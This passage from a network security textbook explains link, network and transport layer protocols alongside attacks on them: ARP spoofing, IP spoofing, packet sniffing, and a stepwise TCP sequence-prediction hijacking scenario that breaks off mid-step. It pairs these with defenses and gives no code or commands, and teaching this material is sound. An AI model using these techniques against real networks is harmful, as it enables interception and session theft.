frames forwarded by a switch are less likely to be seen by machines that are
not destinations.

Due to decreasing costs in networking technology, switches have be-
come the de facto standard for link layer data forwarding. We illustrate the
difference between a hub and a switch in Figure 6.

Hub
DataSource

Destination

(a)

Switch
DataSource

Destination

(b)

Figure 6: Hub vs. switch: (a) A hub copies and transmits traffic to all
attached devices. (b) A switch only transmits frames to the appropriate
destination device.
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Network interfaces are typically identified by a hardware-specific identifier
known as its media access control address (MAC address). A MAC address
is a 48-bit identifier assigned to a network interface by its manufacturer. It
is usually represented by a sequence of six pairs of hexadecimal digits, e.g.,
00:16:B7:29:E4:7D, and every device that connects to a network has one.

MAC addresses are used in the link layer to identify the devices in
a network; hence, MAC addresses are intended to be unique for each
interface. Typically, the first 24 bits are a prefix identifying the organization
that issued the MAC address (these prefixes are issued by IEEE). This
information can sometimes be used to identify the brand or model of a
particular interface on a network. Thus, the remaining 24 bits are left to a
manufacturer to set so that each of its different model instances have unique
MAC addresses. Fortunately, there are 224 = 16, 777, 216 possibilities for
these 24 bits, so that even if a manufacturer has to start reusing MAC
addresses, the chance of two devices on the same network having the same
manufacturer-assigned MAC address is on the order of a one-in-a-million.

Despite the fact that they are designed to be unique identifiers, MAC
addresses can be changed by software through the driver of the network
interface. Network administrators can use this functionality to issue their
own MAC addresses to network interfaces on their network. These lo-
cally administered MAC addresses are distinguished from MAC addresses
issued by a manufacturer by a standardized identifier bit. In a locally
administered MAC address, the second-least-significant bit of the most
significant byte is set to 1, while in a manufacturer-issued MAC, this bit
is set to 0. Because MAC addresses can be trivially changed using software,
such as the ifconfig utility on Linux, they cannot be used as a reliable means
of identifying an untrusted source of network traffic.

MAC addresses are used at the link layer to facilitate the routing of
frames to the correct destination. In particular, switches learn the location of
network devices from their MAC addresses and they forward frames to the
appropriate segments based on this knowledge. The format of an Ethernet
frame is depicted in Figure 7. Note that each such frame contains its
source and destination MAC addresses, a CRC-32 checksum for confirming
data integrity, and a payload section, which contains data from higher lay-
ers, such as the IP layer. The CRC-32 checksum is a simple function of the
contents of the frame and it is designed to catch transmission errors, such as
if a 0 bit in the frame is accidentally changed to a 1 during transmission. In
particular, this checksum is not designed for strong authentication of device
identities—it is not as secure as a digital signature.
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Bits Field

0 to 55 Preamble (7 bytes)

56 to 63 Start-of-Frame delimiter (1 byte)

64 to 111 MAC destination (6 bytes)

112 to 159 MAC source (6 bytes)

160 to 175 Ethertype/Length (2 bytes)

176 to 543+ Payload (46-1500 bytes)

543+ to 575+ CRC-32 checksum (4 bytes)

575+ to 671+ Interframe gap (12 bytes)

Header

Footer

Payload

Figure 7: The format of an Ethernet frame.

2.3 ARP Spoofing

The Address Resolution Protocol (ARP) is a link-layer protocol that pro-
vides services to the network layer. ARP is used to find a host’s hardware
address given its network layer address. Most commonly, it is used to
determine the MAC address associated with a given IP address, which
is clearly a valuable service. Unfortunately, there is a man-in-the-middle
attack against this protocol, which is called ARP spoofing.

How ARP Works

Suppose a source machine wants to send a packet to a destination machine
on the local-area network. At the network layer, the source machine knows
the destination IP address. Since the sending of the packet is delegated
to the link layer, however, the source machine needs to identify the MAC
address of the destination machine. In the ARP protocol, the resolution of
IP addresses into MAC addresses is accomplished by means of a broadcast
message that queries all the network interfaces on a local-area network, so
that the proper destination can respond.
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How ARP Spoofing is Done

An ARP request for an IP address, such as 192.168.1.105, is of the type:

“Who has IP address 192.168.1.105?”

This request is sent to all the machines on the local-area network. The
machine with IP address 192.168.1.105, if any, responds with an ARP reply
of the type:

“192.168.1.105 is at 00:16:B7:29:E4:7D”

This ARP reply is transmitted in a frame addressed only to the machine that
made the ARP request. When this machine receives the ARP reply, it stores
the IP-MAC address pair locally in a table, called its ARP cache, so it does
not have to continually resolve that particular IP address. After this ARP
resolution, the source can finally send its data to its destination.

The ARP protocol is simple and effective, but it lacks an authentication
scheme. Any computer on the network could claim to have the requested IP
address. In fact, any machine that receives an ARP reply, even if it was not
preceded by a request, will automatically update its ARP cache with the
new association. Because of this shortcoming, it is possible for malicious
parties on a LAN to perform the ARP spoofing attack.

This attack is relatively straightforward. An attacker, Eve, simply sends
an ARP reply to a target, who we will call Alice, who associates the IP
address of the LAN gateway, who we will call Bob, with Eve’s MAC
address. Eve also sends an ARP reply to Bob associating Alice’s IP address
with Eve’s MAC address. After this ARP cache poisoning has taken place,
Bob thinks Alice’s IP address is associated with Eve’s MAC address and
Alice thinks Bob’s IP address is associated with Eve’s MAC address. Thus,
all traffic between Alice and Bob (who is the gateway to the Internet) is
routed through Eve, as depicted in Figure 8.

Once accomplished, this establishes a man-in-the-middle scenario,
where the attacker, Eve, has control over the traffic between the gateway,
Bob, and the target, Alice. Eve can choose to passively observe this traffic,
allowing her to sniff passwords and other sensitive information, or she can
even tamper with the traffic, altering everything that goes between Alice
and Bob. A simple denial-of-service attack is also possible.

The power of ARP spoofing is derived from the lack of identity verifica-
tion in the Internet’s underlying mechanisms. This attack requires users
to take caution in securing their local networks. Fortunately, there are
several means of preventing ARP spoofing, besides restricting LAN access
to trusted users. One simple technique involves checking for multiple
occurrences of the same MAC address on the LAN, which may be an
indicator of possible ARP spoofing.
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Bob

(a) Before ARP spoofing

IP: 192.168.1.1
MAC: 00:11:22:33:44:01

IP: 192.168.1.105
MAC: 00:11:22:33:44:02

192.168.1.105 is at 
00:11:22:33:44:03

ARP Cache

192.168.1.105 00:11:22:33:44:02

ARP Cache

192.168.1.1 00:11:22:33:44:01

Poisoned ARP Cache

192.168.1.1 00:11:22:33:44:03

Poisoned ARP Cache

192.168.1.105 00:11:22:33:44:03

Data

192.168.1.1 is at 
00:11:22:33:44:01

192.168.1.105 is at 
00:11:22:33:44:02

(b) After ARP spoofing

Data Data

192.168.1.1 is at 
00:11:22:33:44:03

Alice
Internet

Internet

Bob

IP: 192.168.1.106
MAC 00:11:22:33:44:03 Eve

Alice

Figure 8: ARP spoofing enables a man-in-the-middle attack: (a) Before the
ARP spoofing attack. (b) After the attack.

Another solution, known as static ARP tables, requires a network
administrator to manually specify a router’s ARP cache to assign certain
MAC addresses to specific IP addresses. When using static ARP tables,
ARP requests to adjust the cache are ignored, so ARP spoofing of that router
is impossible. This requires the inconvenience of having to manually add
entries for each device on the network, however, and reduces flexibility
when a new device joins the network, but significantly mitigates the risk of
ARP cache poisoning. Moreover, this solution does not prevent an attacker
from spoofing a MAC address to intercept traffic intended for another host
on the network.

For more complex and flexible defense techniques, many software solu-
tions exist that carefully inspect all ARP packets and compare their contents
with stored records of ARP entries, detecting and preventing spoofing.
Examples include programs such as anti-arpspoof, XArp, and Arpwatch.
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3 The Network Layer

The task of the network layer is to move packets between any two hosts in
a network, on a best effort basis. It relies on the services provided by the
link layer to do this. As with the link layer, there are a number of computer
security issues that are associated with the network layer.

3.1 IP

The Internet Protocol (IP) is the network-level protocol that performs a
best effort to route a data packet from a source node to a destination node
in the Internet. In IP, every node is given a unique numerical address,
which is a 32-bit number under version 4 of the protocol (IPv4) and is a
128-bit number under version 6 of the protocol (IPv6). Both the source and
destination of any transmission are specified by an IP address.

Routing IP Packets

A host such as a desktop PC, server, or smartphone, employs a simple
algorithm for routing packets from that host (see Figure 9):
• If the packet is addressed to a machine on the same LAN as the host,

then the packet is transmitted directly on the LAN, using the ARP
protocol to determine the MAC address of the destination machine.

• If the packet is addressed to a machine that is not on the LAN, then the
packet is transmitted to a specially designated machine on the LAN,
called a gateway, which will handle the next step of the routing. The
ARP protocol is used to determine the MAC address of the gateway.

Thus, a host typically stores a list of the IP addresses of the machines on its
LAN, or a compact description of it, and the IP address of the gateway.

Once a packet has reached a gateway node, it needs to be further routed
to its final destination on the Internet. Gateways and other intermediate
network nodes that handle the routing of packets on the Internet are called
routers. They are typically connected to two or more LANs and use internal
data structures, known as routing tables, to determine the next router to
which a packet should be sent. Given a data packet with destination t, a
routing table lets a router determine which of its neighbors it should send
this packet to. This determination is based on the numerical address, t,
and the routing protocol that encodes the next hop from this router to each
possible destination.
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client

LAN A
gateway

router

router

router

server A router

router
router

router gateway

LAN B server Brouter
router gateway

Figure 9: Routing on the Internet. A first packet, from the client to Server
A, is sent directly over LAN A. The transmission of the first packet is shown
with a dashed arrow. A second packet, from the source to Server B, is
sent first to the gateway of LAN A, then forwarded by several intermediate
routers, and finally delivered to Server B by the gateway of LAN B. The path
followed by the second packet is shown with thick solid arrows. Adjacent
routers are themselves connected via LANs. The route of a packet may not
be the shortest path (in terms of number of edges or total delay) between
the source and destination.

Misconfigurations in the routing tables may cause a packet to travel
forever aimlessly along a cycle of routers. To prevent this possibility and
other error conditions that keep unroutable packets in the network, each IP
packet is given a time-to-live (TTL) count by its source. This TTL value,
which is also known as a hop limit, can be as large as 255 hops and is
decremented by each router that processes the packet. If a packet’s TTL
ever reaches zero, then the packet is discarded and an error packet is sent
back to the source. A packet with TTL equal to zero is said to be expired
and should be discarded by a router that sees it.
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The Structure of the Internet

Routers are designed to be very fast. For each packet received, the router
performs one of three possible actions.

• Drop. If the packet is expired, it is dropped.

• Deliver. If the destination is a machine on one of the LANs to which
the router is connected, then the packet is delivered to the destination.

• Forward. If the destination of the packet does not belong to the LANs
of the router, then the packet is forwarded to a neighboring router.

There are two primary protocols that determine how the next hops
are encoded in Internet routing tables, Open Shortest Path First (OSPF)
and Border Gateway Protocol (BGP). OSPF determines how packets are
routed within an autonomous system and is based on a policy that packets
should travel along shortest paths. BGP, on the other hand, determines
how packets are routed between autonomous systems (ASs) and it is based
on policies dictated by contractual agreements between different ASs The
routes established by BGP may not be shortest paths.

Note the difference between a router and a switch. A switch is a simple
device that handles forwarding of packets on a single network and uses
learned associations to reduce the use of broadcasting. A router, on the
other hand, is a sophisticated device that can belong to multiple networks
and uses routing tables to determine how to forward packets, thereby
avoiding broadcast altogether.

The bits in an IP packet have a careful structure. Each IP packet consists
of a fixed-length header, which is partitioned into various fields, shown
in Figure 10, followed by a variable-length data portion. Note that the
header has specific fields, including the total length of the packet, the time-
to-live (TTL) for this packet, the source IP address, and the destination IP
address.

Although it does not guarantee that each packet successfully travels
from its source to its destination, IP does provide a means to detect if packet
headers are damaged along the way. Each IP packet comes with a checksum
value, which is computed on its header contents. Any host or router
wishing to confirm that this header is intact simply needs to recompute
this checksum function and compare the computed checksum value to the
checksum value that is stored inside the packet. Since some parts of the
header, like the time-to-live, are modified with each hop, this checksum
value must be checked and recomputed by each router that processes this
packet. The protocol field of an IP packet specifies the higher level protocol
that should receive the payload of the packet, such as ICMP, TCP, or UDP,
which are described later in this chapter.
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Bit Offset 0-3 4-7 8-15 16-18 19-31

0 Version Header 
length

Service Type Total Length

32 Identification Flags Fragment Offset

64 Time to Live Protocol Header Checksum

96 Source Address

128 Destination Address

160 (Options)

160+ Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
Data

…

Header

Payload

Figure 10: Format of an IPv4 packet.

As mentioned above, the Internet is divided into autonomous systems,
so routing tables have to be able to direct traffic to clusters of nodes, not
just individual destination. To facilitate this ability, the IP addressing
scheme takes into account the fact that networks are partitioned into log-
ical groupings known as subnetworks, or more commonly, subnets. As
mentioned, IPv4 addresses are 32-bit numbers that are stored as binary
but typically written as 4 bytes, such as 192.168.1.100. IP addresses can
be divided into two portions, a network portion that denotes an IP prefix
used by all machines on a particular network, and a host portion which
identifies a particular network device. These two portions are differentiated
by providing a subnet mask along with the IP address. The network portion
of the IP address can be identified by bitwise ANDing the subnet mask with
the IP address, and the host portion can be identified by XORing this result
with the IP address. (See Table 1.)

Address Binary
A IP address 192.168.1.100 11000000.10101000.00000001.01100100
B Subnet mask 255.255.255.0 11111111.11111111.11111111.00000000
C Network part (A ∧ B) 192.168.1.0 11000000.10101000.00000001.00000000
D Host part (A⊕ C) 0.0.0.100 00000000.00000000.00000000.01100100

Table 1: Network and host portions of IP addresses and subnet masks.
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Subnet masks are used to define the address range of a particular
network. Ranges of IP addresses are based on the size of the organization
in question. A Class A network, which is the largest, has a subnet mask
of at least 8 bits and includes up to 224 = 16, 777, 216 unique IP addresses.
Class A networks are typically reserved for large government organizations
and telecommunications companies. Class B networks have at least a 16-bit
subnet mask and up to 216 = 65, 536 unique IP addresses; they are typically
allocated for ISPs and large businesses. Finally, Class C networks have
at least a 24-bit subnet mask, include up to 28 = 256 unique addresses,
and are assigned to smaller organizations. IP addresses with the host
portion consisting of all zeros or all ones have a special meaning and are
not used for to identify machines. Thus, a class C network has 254 usable
IP addresses.

The original designers of the Internet could not predict the massive
degree to which it would be adopted around the world. Interestingly, at
the time of this writing, the total address space for IPv4 is on the verge
of exhaustion: soon, all possible IPv4 addresses will be assigned. Although
Network Address Translation, or NAT (Section 4.3), delays the exhaustion
of the IPv4 address space, it doesn’t solve it, and an actual solution is
provided by IPv6, which features 128-bit addresses.

3.2 Internet Control Message Protocol

The Internet Control Message Protocol (ICMP) is a network-layer protocol
that is used by hosts to perform a number of basic testing and error noti-
fication tasks. ICMP is primarily used for network diagnostic tasks, such
as determining if a host is alive and finding the path followed by a packet.
ICMP packets carry various types of messages, including the following:

• Echo request: Asks the destination machine to acknowledge the re-
ceipt of the packet

• Echo response: Acknowledges the receipt of a packet in reply to an
echo request

• Time exceeded: Error notification that a packet has expired, that is, its
TTL is zero

• Destination unreachable: Error notification that the packet could not
be delivered

Several network management tools use the above ICMP messages, in-
cluding the popular ping and traceroute utilities.
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Ping

Ping is another utility that uses the ICMP protocol to verify whether or not
a particular host is receiving packets. Ping sends an ICMP echo request
message to the destination host, which in turn replies with an ICMP echo
response message. This remarkably simple protocol is often the first diag-
nosis tool used to test if hosts are working properly.

Traceroute

The traceroute utility uses ICMP messages to determine the path a packet
takes to reach another host, either on a local network or on the Internet. It
accomplishes this task with a clever use of the time-to-live (TTL) field in
the IP header. First, it attempts to send a packet to the target with a TTL of
1. On receiving a packet with a TTL of 1, an intermediate router discards
the packet and replies to the sender with an ICMP time exceeded message,
revealing the first machine along the path to the target. Next, traceroute
sends a packet with a TTL of 2. On reaching the first router in the path, the
TTL is decremented by one and forwarded to the next router, which in turn
sends an ICMP packet to the original sender. By incrementing the TTL field
in this way, traceroute can determine each host along the path to the target.
The traceroute utility is illustrated in Figure 11.

echo request, TTL = 1

time exceeded

echo request, TTL = 2

h t TTL 3

time exceeded

echo request, TTL = 3

echo request, TTL = 4

time exceeded

q ,

echo response

Figure 11: The traceroute utility.

Network Security I

241



3.3 IP Spoofing

Each IP packet includes a place to specify the IP addresses of the destination
and source nodes of the packet. The validity of the source address is never
checked, however, and it is trivial for anyone to specify a source address
that is different from their actual IP address. In fact, nearly every operating
system provides an interface by which it can make network connections
with arbitrary IP header information, so spoofing an IP address is a simple
matter of specifying the desired IP in the source field of an IP packet data
structure before transmitting that data to the network. Such modification
of the source address to something other than the sender’s IP address is
called IP spoofing. (See Figure 12.) IP spoofing does not actually allow an
attacker to assume a new IP address by simply changing packet headers,
however, because his actual IP address stays the same.

Bit Offset 0-3 4-7 8-15 16-18 19-31

0 Version Header 
length

Service Type Total Length

32 Identification Flags Fragment Offset

64 Time to Live Protocol Header Checksum

96 Source Address

128 Destination Address

160 (Options)

160+ Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
Data
Data

…

Over-write
source address
with a different
IP address

Figure 12: How IP spoofing works. The source address in the header of an
IP packet is simply overwritten with a different IP address from the actual
source. Note the header checksum field also needs to be updated.
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How IP Spoofing is Used in Other Attacks

If an attacker sends an IP packet with a spoofed source address, then he
will not receive any response from the destination server. In fact, with a
spoofed source IP address on an outbound packet, the machine with the
spoofed IP address will receive any response from the destination server,
not the attacker.

Therefore, if an attacker is using IP spoofing on his outbound packets,
he must either not care about any responses for these packets or he has
some other way of receiving responses. For example, in denial-of-service
attacks (which are discussed in more detail in Section 5), the attacker
doesn’t want to receive any responses back—he just wants to overwhelm
some other Internet host with data requests. Alternatively, in IP spoofing
attacks that are designed for circumventing firewall policy or TCP session
hijacking (Section 4.4), the attacker has another, nonstandard
ting response packets.

Dealing with IP Spoofing

Although it cannot be prevented, there are a number of ways of dealing
with IP spoofing. For example, border routers, which are routers that
span two or more subnetworks, can be configured to block packets from
outside their administrative domain that have source addresses from inside
that domain. Such packets are likely to be spoofed so as to appear they
are coming from inside the subnetwork, when in fact they are coming
from outside the domain. Similarly, such routers can also block outgoing
traffic with source addresses from outside the domain. Such packets could
indicate that someone inside the subnetwork is trying to launch an attack
that uses IP spoofing, so this type of blocking could be an indication that
machines inside the subnetwork have been taken over by a malware attack
or are otherwise controlled by malicious parties.

In addition, IP spoofing can be combated by implementing IP traceback
techniques, as discussed in Section 5.5. IP traceback involves methods
for tracing the path of a packet back to its actual source address. Given this
information, requests can then be made to the various autonomous systems
along this path to block packets from this location. The ISP controlling the
actual source address can also be asked to block suspicious machines en-
tirely until it is determined that they are clean of any malware or malicious
users.
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3.4 Packet Sniffing

Because most data payloads of IP packets are not encrypted, the Internet
Protocol allows for some types of eavesdropping, further compromising
confidentiality. In particular, it is possible to listen in on the traffic in a
network that is intended for the Internet. This process is known as packet
sniffing, and can be performed independently of whether the packets are
traveling via wireless Internet or through a wired Internet, provided the
attacker resides on the same network segment.

As discussed in Section 2.1, when frames are transmitted over an
Ethernet network, they are received by every device on the same network
segment. Each network interface in this segment will normally compare
the frame’s destination MAC address with its own MAC address, and
discard the frame if it doesn’t match. If a network interface is operating
in promiscuous mode, however, it will retain all frames and read their
contents. Setting a network interface to promiscuous mode allows an
attacker to examine all data transmitted over a particular network segment,
potentially recovering sensitive information such as passwords and other
data. Combined with network analysis tools such as Wireshark, this data
can be extracted from the raw packets. (See Figure 13.)

Figure 13: An example use of the Wireshark packet -sniffing tool. Here,
the packet associated with an HTTP request to www.example.com has been
captured and analyzed.
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Defenses Against Packet Sniffing

Using a packet-sniffing tool such as Wireshark is not necessarily malicious.
For instance, packet sniffing is commonly used to troubleshoot network-
related problems or to determine if a computer is infected with adware or
spyware (and is contacting outside IP addresses without the user’s knowl-
edge or consent). But packet sniffing can also be malicious, for instance if it
is used to spy on unsuspecting members of a network.

There are several measures that can be put in place to prevent unwanted
packet sniffing, besides the obvious precaution of preventing unauthorized
access to a private network. For example, using Ethernet switches as op-
posed to hubs potentially reduces the number of machines on an attacker’s
network segment, which reduces the amount of traffic that may be sniffed.
Note that there is no analog to the switch when communicating wirelessly,
however. Since all wireless traffic is transmitted over the air, any device on
the same wireless network may sniff traffic from any other device.

It may also be possible to detect when network devices are in promis-
cuous mode, although this has proven to be difficult in practice. One
technique takes into account the fact that when a network interface is
receiving all network traffic, the operating system behind that network
interface is using much more processing power than if these frames were
being dropped. Therefore, responses from that interface may be slightly
delayed in comparison to those issued by interfaces not in promiscuous
mode. Alternately, attempting to elicit responses to invalid packets from
network devices may provide clues suggesting that a device is in promis-
cuous mode. For example, sending a packet to a suspected machine’s IP
address with a nonmatching MAC address would ordinarily be dropped by
that network device, but if it is running in promiscuous mode, a response
might be issued.

Despite these precautions and detection measures, packet sniffing re-
mains a risk that should not be underestimated, especially on networks
that may include malicious parties. To reduce the impact of packet sniffing,
encryption mechanisms should be utilized in higher-level protocols to pre-
vent attackers from recovering sensitive data. As an example, web traffic
ordinarily contains an HTTP packet at the application layer, encapsulated
in a TCP packet at the transport layer, and an IP packet at the network
layer, and then an appropriate link layer frame such as Ethernet or 802.11
wireless. In a packet-sniffing scenario, an attacker can examine all HTTP
content in an intercepted packet because no encryption is used at any layer.
If the HTTPS protocol, which employs encryption at the application layer,
is used instead, then even if an attacker sniffs traffic, the contents will be
encrypted and so will be indecipherable to the attacker.
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4 The Transport Layer

The transport layer builds on top of the network layer, which supports
communication between machines, to provide for communication between
processes. This extended addressing capability is achieved in the trans-
port layer by viewing each machine (which has just one IP address) as
having a collection of ports, each of which is capable of being the source
or destination port for communication with a port on another machine.
Indeed, the transport layer protocols for the Internet specify 16-bit source
and destination port numbers in their headers. Each port is meant to be
associated with a certain type of service offered by a host.

Two primary protocols operate at the transport layer for the Internet:
the Transmission Control Protocol (TCP) and the User Datagram Protocol
(UDP). TCP is the more sophisticated of these two and was defined together
with IP as one of the original protocols for the Internet, which is why people
sometimes refer to Internet protocols as “TCP/IP.” TCP is used for some of
the most fundamental operations of the Internet.

The main extra feature of TCP is that it is connection oriented and
provides a reliable stream of bytes between two communicating parties
with a guarantee that information arrives intact and in order. If a packet
in such a stream is lost, TCP guarantees that it will be resent, so that there is
no actual loss of data. Thus, TCP is the preferred protocol for transferring
files, web pages, and email.

UDP, on the other hand, provides a best-effort communication channel
between two ports. It is used primarily for applications where communica-
tion speed is more important than completeness, such as in a voice-over-IP
conversation, where short drops are acceptable (as one might get from one
lost packet), but not long pauses (as one might get from waiting for a lost
packet to be resent).

4.1 Transmission Control Protocol (TCP)

TCP is a critical protocol for the Internet, since it takes the IP protocol,
which routes packets between machines in a best effort fashion, and creates
a protocol that can guarantee transmission of a stream of bits between two
virtual ports. If a process needs to send a complete file to another computer,
for instance, rather than do the hard work of chopping it into IP packets,
sending them to the other machine, double-checking that all the packets
made it intact, and resending any that were lost, the process can simply
delegate the entire transfer to TCP. TCP takes care of all of these details.
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TCP Features

A TCP session starts out by establishing a communication connection be-
tween the sender and receiver. Once a connection has been created, the
parties can then communicate over the established channel. TCP ensures
reliable transmission by using a sequence number that is initialized during
the three-way handshake. Each subsequent transmission features an incre-
mented sequence number, so that each party is aware when packets arrive
out of order or not at all.

TCP also incorporates a cumulative acknowledgment scheme. Con-
sider two TCP sessions, a sender and a receiver, communicating via their
established TCP connection. After the sender sends the receiver a specified
amount of data, the receiver will confirm that it has received the data by
sending a response packet to the sender with the acknowledgment field set
to the next sequence number it expects to receive. If any information has
been lost, then the sender will retransmit it.

TCP also manages the amount of data that can be sent by one party
while avoiding overwhelming the processing resources of the other or the
bandwidth of the network itself, which is a concept known as flow control.
In particular, to efficiently manage flow control, TCP uses a technique
known as a sliding window protocol. Consider again two parties in a
TCP conversation, a sender and receiver. With each packet, the receiver
informs the sender of the size of the receive window, which is the number
of bytes of data it is willing to accept before the sender must pause and wait
for a response, indicating the receiver is ready to accept more data. The
sender also keeps track of the value of the last acknowledgment sent by the
receiver. When sending data, the sender checks the sequence number of the
packet to be sent, and only continues sending if this number is less than the
last acknowledgment number plus the current size of the receive window
(i.e., the sequence number falls within the current window of acceptable
sequence numbers). Otherwise, it waits for an acknowledgment, at which
point it adjusts its stored acknowledgment number, shifting the “sliding
window” of sequence numbers. During the process of sending data, the
sender sets a timer so that if no acknowledgment is received before the
timer expires, the sender assumes data loss and retransmits.

In addition to managing data flow, TCP supports a checksum field to
ensure correctness of data. TCP’s checksum is not intended to be cryp-
tographically secure, but rather is meant to detect inconsistencies in data
due to network errors rather than malicious tampering. This checksum is
typically supplemented by an additional checksum at the link layer, such
as Ethernet, which uses the CRC-32 checksum.
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Congestion Control

TCP tackles a final networking problem by implementing congestion con-
trol: an attempt to prevent overwhelming a network with traffic, which
would result in poor transmission rates and dropped packets. Congestion
control is not implemented into TCP packets specifically, but rather is
based on information gathered by keeping track of acknowledgments for
previously sent data and the time required for certain operations. TCP
adjusts data transmission rates using this information to prevent network
congestion.

TCP Packet Format

The format of a TCP packet is depicted in Figure 14. Note that it includes
source and destination ports, which define the communication connection
for this packet and others like it. In TCP, connection sessions are maintained
beyond the life of a single packet, so TCP connections have a state, which
defines the status of the connection. In the course of a TCP communication
session, this state goes from states used to open a connection, to those
used to exchange data and acknowledgments, to those used to close a
connection.
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Figure 14: Format of a TCP packet.
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TCP Connections

TCP uses a three-way handshake to establish a reliable connection stream
between two parties, as depicted in Figure 15. First, a client sends a packet
to the desired destination with the SYN flag (short for “synchronization”)
set. This packet includes a random initialization for a sequence number,
which is used to ensure reliable ordering of future data transmissions. In
response, the server replies with a packet marked with both the SYN and
ACK (short for “acknowledgment”) flags, known as a SYN-ACK packet,
indicating that the server wishes to accept the connection. This packet
includes an acknowledgment number, which is set to one more than the
received sequence number, and a new random sequence number. Finally,
the client responds with an ACK packet to indicate a successful connection
has been established. The final ACK packet features an acknowledgment
number set to one more than the most recently received sequence number,
and the sequence number set to the recently received acknowledgment
number. These choices are meant to defeat attacks against TCP based on
predicting initial sequence numbers, which are discussed in Section 4.4.

SYN
Seq = x

SYN-ACK
SSeq = y

Ack = x + 1

ACK
Seq = x + 1
Ack = y + 1Ack = y + 1

Figure 15: The three-way TCP handshake.

As mentioned above, TCP uses the notion of 16-bit port numbers, which
differentiate multiple TCP connections. TCP packets include both a source
port (the port from which the packet originated) and a destination port (the
port where the packet will be received). Ports may range from 1 to 65,535
(216 − 1), with lower port numbers being reserved for commonly used
protocols and services. For example, port 80 is the default for the HTTP
protocol, while ports 21 and 22 are reserved for FTP and SSH, respectively.

Most applications create network connections using sockets, an abstrac-
tion that allows developers to treat network connections as if they were
files. Developers simply read and write information as needed, while the
operating system handles encapsulating this application-layer information
in the lower levels of the TCP/IP stack.
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4.2 User Datagram Protocol (UDP)

In contrast to TCP, the UDP protocol does not make a guarantee about the
order or correctness of its packet delivery. It has no initial handshake to
establish a connection, but rather allows parties to send messages, known
as datagrams, immediately. If a sender wants to communicate via UDP, it
need only use a socket (defined with respect to a port on a receiver) and
start sending datagrams, with no elaborate setup needed.

While UDP features a 16-bit checksum to verify the integrity of each
individual packet, there is no sequence number scheme, so transmissions
can arrive out of order or may not arrive at all. It is assumed that checking
for missing packets in a sequence of datagrams is left to applications pro-
cessing these packets. As a result, UDP can be much faster than TCP, which
often requires retransmissions and delaying of packets.

UDP is often used in time-sensitive applications where data integrity
is not as important as speed, such as DNS and Voice over IP (VoIP). In
contrast, TCP is used for applications where data order and data integrity
is important, such as HTTP, SSH, and FTP. The format of a UDP packet is
depicted in Figure 16. Notice how much simpler it is than a TCP packet.

Bit Offset 0-15 16-31 

0 Source Port Destination Port 

32 Length Checksum 

64 Data 

Header 

Payload 

Figure 16: Format of a UDP packet.
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4.3 Network Address Translation (NAT)

When people add computers, printers, and other network devices to their
home networks, they typically do not buy new IP addresses and setup the
new addresses directly on the Internet. Instead, they use network address
translation (NAT), which allows all the machines on a local-area network
to share a single public IP address. This public IP address represents the
point of contact with the Internet for the entire LAN, while machines on
the network have private IP addresses that are only accessible from within
the network.

Since NAT allows an entire network to be assigned a single public IP
address, widespread use of NAT has significantly delayed the inevitable
exhaustion of the IPv4 address space. In fact, there is a lot of address
capacity for NAT, because there are a number of private IP addresses that
such networks are allowed to use which cannot be used on the (public)
Internet. The private IP address are of the form 192.168.x.x, 172.16.x.x
through 172.31.x.x, and 10.x.x.x. Thus, a NAT router represents the gate-
way between private IP addresses and the public Internet, and this router is
responsible for managing both inbound and outbound Internet traffic. (See
Figure 17.)

NAT Router

128.195.1.48
(public IP

address) 192.168.0.1

Internet

(private IP
address)

192.168.0.101

Switch

192.168.0.102192 168 0 151

Wireless
Router

192.168.0.151

Router

192.168.0.150 192.168.0.201

192.168.0.200
192.168.0.152

Figure 17: An example home network setup using a NAT router.
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How NAT Works

To translate between private and public IP addresses, the NAT router
maintains a lookup table that contains entries of the following form:

(private source IP, private source port, destination IP, public source port)

A NAT router dynamically rewrites the headers of all inbound and out-
bound TCP and UDP packets as follows. When a machine on the internal
network attempts to send a packet to an external IP address, the NAT
router creates a new entry in the lookup table associated with the source
machine’s private IP address and the internal source port of the transmitted
packet. Next, it rewrites the source IP address to be that of the NAT device’s
public IP, opens a new public source port, and rewrites the IP header’s
source port field to contain the newly opened port. This public port and
the destination IP address are recorded alongside the private source IP and
private internal port in the NAT device’s lookup table. The NAT device also
adjusts any checksums contained in the packet, including those used by IP
and TCP/UDP, to reflect the changes made. The packet is then forwarded
to its destination.

On receiving a response, the NAT router checks its lookup table for any
entries whose public source port corresponds to the destination port of the
inbound packet and whose destination IP address (recorded because of the
previous outbound packet) corresponds to the source IP of the inbound
packet. Finally, the NAT router rewrites the IP headers of the inbound
packet according to the lookup table, so that the packet is forwarded to
the correct private IP address and private port.

This process effectively manages outbound traffic, but places several
restrictions on the possibilities for inbound traffic. An external machine has
no way of initiating a connection with a machine on the private network,
since the internal machine does not have a publicly accessible IP address.
This can actually be seen as a security feature, since no inbound traffic from
the Internet can reach the internal network. Thus, in many ways, NAT
devices can function as firewalls, blocking risky contact from the external
Internet.

Network Address Translation is not a perfect solution. In fact, it violates
the ideal goal of end-to-end connectivity for machines on the Internet by
not allowing direct communication between internal and external parties.
In addition, NAT may cause problems when using several protocols, espe-
cially those using something other than TCP or UDP as a transport-layer
protocol. Still, NAT has been crucial in delaying the exhaustion of the IPv4
address space and simplifying home networking.
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4.4 TCP Session Hijacking

Let us now discuss a transport-layer security concern—TCP session
hijacking—which is a way for an attacker to hijack or alter a TCP connection
from another user. Such attacks come in several flavors, depending on the
location and knowledge of the attacker.

TCP Sequence Prediction

The first type of session hijacking we discuss is a type of session spoofing,
since it creates a spoofed TCP session rather than stealing an existing one,
but we still think of it as a type of session hijacking. Recall that TCP
connections are initiated by a three-way handshake, in which the client
sends a packet with the SYN flag sent, the server replies with a packet
containing an initial sequence number and both the SYN and ACK flags
set, and the client concludes by sending a packet with the received sequence
number incremented by 1 and the ACK flag set. A TCP sequence prediction
attack attempts to guess an initial sequence number sent by the server at
the start of a TCP session, so as to create a spoofed TCP session.

Early TCP stacks implemented sequence numbers by using a simple
counter that was incremented by 1 with each transmission. Without using
any randomness, it was trivial to predict the next sequence number, which
is the key to this attack. Modern TCP stack implementations use pseudo-
random number generators to determine sequence numbers, which makes
a TCP sequence prediction attack more difficult, but not impossible. A
possible scenario might proceed as follows:

1. The attacker launches a denial-of-service attack against the client
victim to prevent that client from interfering with the attack.

2. The attacker sends a SYN packet to the target server, spoofing the
source IP address to be that of the client victim.

3. After waiting a short period of time for the server to send a reply
to the client (which is not visible to the attacker and is not acted on
by the client due to the DOS attack), the attacker concludes the TCP
handshake by sending an ACK packet with the sequence number set
